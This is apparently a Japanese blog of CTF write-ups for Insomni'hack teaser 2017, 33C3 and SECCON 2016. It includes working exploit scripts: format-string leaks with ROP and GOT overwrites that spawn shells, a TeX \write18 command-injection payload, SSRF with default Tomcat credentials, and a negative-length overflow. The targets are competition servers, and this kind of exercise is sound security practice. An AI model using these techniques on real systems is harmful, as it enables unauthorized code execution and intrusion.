Insomni'hack teaser 2017 供養(Writeup)

Insomni'hack teaser 2017に参加。250ptで93位。

baby (Pwn 50)

NX、PIE、FullRELROが有効なx86-64 ELF。

# file baby
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped

# gdb -q ./baby
Reading symbols from ./baby...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

TCP 1337で接続を待ち受けるfork server型になっており、

  • Stack buffer overflow
  • Format string bug
  • Heap overflow

が自由に起こせるようになっている。

Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。

from minipwn import *

def stack_overflow(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '1')
    print recvuntil(s, '? ')
    sendline(s, str(len(buf)+1))
    sendline(s, buf)
    print recvline(s)

def format_string(s, buf):
    print recvuntil(s, '> ')
    sendline(s, '2')
    print recvuntil(s, '> ')
    sendline(s, buf)
    data = recvline(s)
    print recvuntil(s, '> ')
    sendline(s, '')
    return data

#s = socket.create_connection(('localhost', 1337))
s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337))

data = format_string(s, '%138$p.%139$p.%140$p.%158$p')
addrs = [int(x,16) for x in data.split('.')]
canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830
print "[+] canary = %x" % canary
print "[+] saved_ebp = %x" % saved_ebp
print "[+] bin_base = %x" % bin_base
print "[+] libc_base = %x" % libc_base

addr_bss = bin_base + 0x0000000000203010
addr_csu_init1 = bin_base + 0x1c7e
addr_csu_init2 = bin_base + 0x1c68
addr_pop_rdi = bin_base + 0x1c8b
got_recv = bin_base + 0x202eb8
#libc_system = libc_base + 0x0000000000045380
#addr_pop_rcx = libc_base + 0x00050233
libc_system = libc_base + 0x0000000000045390
addr_pop_rcx = libc_base + 0x000fc3e2

buf = 'A' * 0x408
buf += p64(canary)
buf += 'BBBBBBBB'
buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4)
buf += p64(addr_pop_rcx) + p64(0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0)
buf += p64(addr_pop_rdi) + p64(addr_bss)
buf += p64(libc_system)
stack_overflow(s, buf)

s.sendall('/bin/sh <&4 >&4\x00')

print "[+] got a shell!"
interact(s)
$ python test.py
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
Simply type '\n' to return
Your format >
Your format >
[+] canary = 7971cd723454900
[+] saved_ebp = 7ffe526fc540
[+] bin_base = 55f1410d6000
[+] libc_base = 7f129d29e000
Welcome to baby's first pwn.
Pick your favorite vuln :
   1. Stack overflow
   2. Format string
   3. Heap Overflow
   4. Exit
Your choice >
How much bytes you want to send ?
Good luck !

[+] got a shell!
id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
ls
baby
flag
cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}

cryptoquizz (Misc/Crypto 50)

ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。

from minipwn import *

data = """Arjen K. Lenstra [1956]
Lars Knudsen [1962]
Xuejia Lai [1954]
Daniel Bleichenbacher [1964]
Douglas Stinson [1956]
Claus-Peter Schnorr [1943]
Niels Ferguson [1965]
Yvo Desmedt [1956]
Ron Rivest [1947]
Antoine Joux [1967]
Michael O. Rabin [1931]
Jim Massey [1934]
Markus Jakobsson [1968]
Martin Hellman [1945]
Alex Biryukov [1969]
Yehuda Lindell [1971]
Joan Daemen [1965]
Horst Feistel [1915]
Kaisa Nyberg [1948]
Ralph Merkle [1952]
Paul Kocher [1973]
Paulo Barreto [1965]
Whitfield Diffie [1944]
Mitsuru Matsui [1961]
David Naccache [1967]
Phil Rogaway [1962]
Eli Biham [1960]
Adi Shamir [1952]
Ronald Cramer [1968]
Shai Halevi [1966]
Donald Davies [1924]
Moni Naor [1961]
Jacques Stern [1949]
Amos Fiat [1956]
Victor S. Miller [1947]
Paul van Oorschot [1962]
Nigel P. Smart [1967]
Serge Vaudenay [1968]
Ross Anderson [1956]
Dan Boneh [1969]
Jacques Patarin [1965]
Rafail Ostrovsky [1963]
Daniel J. Bernstein [1971]
Tatsuaki Okamoto [1952]
"""

birth_year = {}
for line in data.splitlines():
    name, birth = line[:-1].split(' [')
    birth_year[name] = birth

s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031))
print s.recv(8192)

while True:
    data = s.recv(8192)
    if not data:
        break
    m = re.search(r'~~ What is the birth year of (.+?) \?', data)
    if m:
        name = m.group(1)
        print name, birth_year[name]
        sendline(s, birth_year[name])
    else:
        print data

s.close()
$ python test.py

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ Hello, young hacker. Are you ready to fight rogue machines ?    ~~
~~ Now, you'll have to prove us that you are a genuine             ~~
~~ cryptographer.                                                  ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Douglas Stinson 1956
Whitfield Diffie 1944


Lars Knudsen 1962
Antoine Joux 1967


David Naccache 1967
Donald Davies 1924


Jacques Stern 1949
Serge Vaudenay 1968



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~ OK, young hacker. You are now considered to be a                ~~
~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE}     ~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

bender_safe (Reverse 50)

MIPS ELF。

# file bender_safe
bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped

16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。

下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。

f:id:inaz2:20170122185450p:plain

from minipwn import *

#s = socket.create_connection(('localhost', 4000))
s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337))
print recvuntil(s, '\n')
print recvuntil(s, '\n')
otp = recvuntil(s, '\n')
print otp

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------'

buf = otp[0x0]
buf += otp[0xf]
buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa)
buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa]
buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa]
buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23]
buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23]
buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa)
sendline(s, buf)

interact(s)
$ python test.py
Welcome to Bender's passwords storage service

Here's your OTP challenge :

5FKU25OCL8GMEZZB

      _
     ( )
      H
      H
     _H_
  .-'-.-'-.
 /         \
|           |
|   .-------'._
|  / /  '.' '. \
|  \ \ @   @ / /
|   '---------'
|    _______|
|  .'-+-+-+|
|  '.-+-+-+|      INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr}
|    """""" |
'-.__   __.-'
     """

This is Bender's password vault storage
I have 54043195528445952 bytes of memory for storage!
Although 54043195528444928 of which is used to store my fembots videos...HiHiHi!
Your passwords are safe with me meatbag!
-------------------------------
|                             |
|  1. View passwords          |
|  2. Enter new passwords     |
|  3. View admin password     |
|  4. Exit                    |
|                             |
-------------------------------
4
*** Connection closed by remote host ***

angrを使ったほうがよかったかもしれない。

smarttomcat (Web 50)

パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager(http://localhost:8080/manager/html)にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。

$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml'
*   Trying 54.229.3.101...
* Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: smarttomcat.teaser.insomnihack.ch
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 66
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 66 out of 66 bytes
< HTTP/1.1 200 OK
< Date: Sun, 22 Jan 2017 08:41:27 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 91
< Connection: keep-alive
< Server: Apache/2.4.18 (Ubuntu)
< Vary: User-Agent,Accept-Encoding
<
We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st}
* Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact

The Great Escape - part 1 (Forensics 50)

pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。

$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/'
-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q
uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8
WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0
mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn
(snip)
-----END PRIVATE KEY-----
(snip)

この鍵がssc.teaser.insomnihack.chのサーバ鍵であると推測し、Wireshark52.214.142.175, 443, httpでssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。 ログイン後のHTTPヘッダにフラグがある。

Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0
Linux cooked capture
Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175
Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578
Secure Sockets Layer
[2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)]
Hypertext Transfer Protocol
    POST /api/user.php HTTP/1.1\r\n
    Host: ssc.teaser.insomnihack.ch\r\n
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n
    Accept: application/json, text/plain, */*\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate, br\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Referer: https://ssc.teaser.insomnihack.ch/login\r\n
    Content-Length: 38\r\n
    Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n
    FLAG: INS{OkThatWasWay2Easy}\r\n
    Connection: keep-alive\r\n
    \r\n
    [Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php]
    [HTTP request 1/6]
    [Response in frame: 2247]
    [Next request in frame: 2248]
    File Data: 38 bytes
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "action" = "login"
    Form item: "name" = "rogue"
    Form item: "password" = "rogue"

所感

50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。

  • The Great Escape - part 2 (Web 200)
  • Shobot (Web 200)
  • mindreader (Mobile 250)

33C3 CTF 供養(Writeup)

33C3 CTFに参加。325ptで140位。

pdfmaker (misc 75)

接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> help
 Available commands: ?, help, create, show, compile.
 Type 'help COMMAND' to get information about the specific command.
> help create
 Create a file. Syntax: create TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
 The created file will have the name NAME.TYPE
> help show
 Shows the content of a file. Syntax: show TYPE NAME
 TYPE: type of the file. Possible types are log, tex, sty, mp, bib
 NAME: name of the file (without type ending)
> help compile
 Compiles a tex file with the help of pdflatex. Syntax: compile NAME
 NAME: name of the file (without type ending)

つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。

$ nc 78.46.224.91 24242
 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> create mp x
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to x.mp.
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.

No file x.aux.
(./x.aux) )
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:48 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:48 mpJJ7pdo.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:48 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  130 Dec 28 03:48 x.tex

> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on x.log.
 (./x.aux)
)
No pages of output.
Transcript written on x.log.

> show log pwn
total 24
drwxrwxr-x  2 pdfmaker pdfmaker 4096 Dec 28 03:49 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 ..
-rw-rw-r--  1 pdfmaker pdfmaker   32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 makempx.log
-rw-rw-r--  1 pdfmaker pdfmaker  460 Dec 28 03:49 mp9opGQm.tex
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 pwn.log
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.aux
-rw-rw-r--  1 pdfmaker pdfmaker    0 Dec 28 03:49 x.log
-rw-rw-r--  1 pdfmaker pdfmaker  128 Dec 28 03:48 x.mp
-rw-rw-r--  1 pdfmaker pdfmaker  158 Dec 28 03:49 x.tex
33C3_pdflatex_1s_t0t4lly_s3cur3!
> exit

exfil (Forensics 100)

pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。

とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。

$ tshark -r dump.pcap >dump.txt

$ head dump.txt
  1   0.000000 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  2   0.002197  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  3   0.203334 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  4   0.204610  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  5   0.405026 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  6   0.406228  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  7   0.613703 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de
  8   0.614944  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
  9   0.821849 192.168.0.121 -> 192.168.0.1  DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de
 10   0.823065  192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de

次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。

import sys
import re
import base64

def decode_b32(s):
    s = s.upper()
    for i in range(10):
        try:
            return base64.b32decode(s)
        except:
            s += b'='
    raise ValueError('Invalid base32')

lastdata = None
for line in sys.stdin:
    m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line)
    if not m:
        continue
    data = m.group(1).replace('.', '')
    if data == lastdata:
        continue
    lastdata = data
    data = decode_b32(data)[6:]
    if data:
        print repr(data)

リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。

$ grep -v CNAME dump.txt | python test.py >request.txt

$ head request.txt
'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n'
'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root   root   4.0K Dec 17 13:06 ..\n263'
'1209 -rw------- 1 fpetry fpetry   42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry  220 Dec 17 13:06 .bash_l'
'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry   33 Dec 17 13:24 .les'
'shst\n2627664 -rw-r--r-- 1 fpetry fpetry  675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr'
'et.docx\n2631218 -rw------- 1 fpetry fpetry  908 Dec 17 13:21 .viminfo\n'
"gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING"
": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg"
"' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: "
'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8'

$ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt

$ head response.txt
'id\n'
'ls -alih\n'
'cat > key << EOF\n'
'-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2'
'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j'
'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6'
'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD'
'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At'
'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9'
'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'

上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。

$ sha1sum secret.docx.gpg key
700216568a3819f12808bf7fffd108a0aa36acca  secret.docx.gpg
6c5309445f7857fd66b8c88128d550f8bf4c5263  key

$ gpg --import key
gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
gpg: keyring `/home/user/.gnupg/pubring.gpg' created
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported
gpg: key D0D8161F: secret key imported
gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --decrypt --output secret.docx secret.docx.gpg
gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11
      "operator from hell <team@kitctf.de>"

$ file secret.docx
secret.docx: Microsoft Word 2007+

f:id:inaz2:20161230124332p:plain

ESPR (Pwn 150)

問題文の写真から、概ね次のような処理をしていることが推測できる。

char buf[0x100];
while (1) {
    gets(buf);
    sleep(1);
    printf(buf);
}

Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601000)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)

for i in xrange(0x08, 0x60, 0x8):
    sendline(s, '%'+str(i)+'c%40$hhn')
    s.recv(8192)
    sendline(s, '%66$p')
    print s.recv(8192),
    sendline(s, '%66$s')
    data = s.recv(8192)
    got_addr = u64(data.ljust(8, '\x00'))
    print hex(got_addr)
$ python espr.py
(snip)
0x601000 0x600e20
0x601008 0x7f3fb55e1168
0x601010 0x7f3fb53d28f0
0x601018 0x7f3fb4e48550
0x601020 0x7f3fb4e62030
0x601028 0x7f3fb4ebe640
0x601030
Traceback (most recent call last):
  File "espr.py", line 23, in <module>
    data = s.recv(8192)
socket.timeout: timed out

アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。

次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。

$ ./find printf 550 gets 030 sleep 640
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64)
archive-glibc (id libc6_2.24-3ubuntu2_amd64)

$ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system
printf 0000000000056550
system 00000000000456d0

GOTのprintfをsystemに書き換え、system("/bin/sh")を呼ぶことでシェルを起動できる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601018)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192)
sendline(s, '%66$s')
data = s.recv(8192)
libc_printf = u64(data.ljust(8, '\x00'))
print "[+] libc_printf = %x" % libc_printf
libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0
print "[+] libc_system = %x" % libc_system

n = libc_system & 0xFFFFFFFF
print "[+] n = %x" % n
sendline(s, '%'+str(n)+'c%66$n')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

print "[+] got a shell!"
sendline(s, '/bin/sh\x00')
interact(s)
$ python espr.py
(snip)
0x601018
[+] libc_printf = 7f900de94550
[+] libc_system = 7f900de836d0
[+] n = de836d0
(snip)
[+] got a shell!
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls
espr
flag
run.sh
cat flag
33C3_f1rst_tshirt_challenge?!

所感

他に解きたかった問題は以下。

SECCON 2016 Online CTF 供養(Writeup)

SECCON 2016 Online CTFにチームで参加。 ほぼExploitジャンルのみを見ていたが、結局一番簡単な問題しか解けなかった。

cheer msg (Exploit 100)

アセンブリコードを見ると、Message Lengthの値に応じてespが引き上げられている(alloca相当の処理らしい)。

080485ca <main>:
 80485ca:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80485ce:       83 e4 f0                and    esp,0xfffffff0
 ...
 80485e7:       e8 21 01 00 00          call   804870d <getint>
 80485ec:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 80485ef:       8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 80485f2:       8d 50 0f                lea    edx,[eax+0xf]
 80485f5:       b8 10 00 00 00          mov    eax,0x10
 80485fa:       83 e8 01                sub    eax,0x1
 80485fd:       01 d0                   add    eax,edx
 80485ff:       b9 10 00 00 00          mov    ecx,0x10
 8048604:       ba 00 00 00 00          mov    edx,0x0
 8048609:       f7 f1                   div    ecx
 804860b:       6b c0 10                imul   eax,eax,0x10
 804860e:       29 c4                   sub    esp,eax

しかし、Message Lengthに負数チェックがされていないため、-150を入れるとmain関数からのリターン時に任意のアドレスにジャンプできる。

$ gdb ./cheer_msg
Reading symbols from ./cheer_msg...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/user/tmp/minipwn/cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -150
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> AAAA

Thank you AAAA!
Message :

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
1: x/i $pc
=> 0x41414141:  <error: Cannot access memory at address 0x41414141>
(gdb) quit

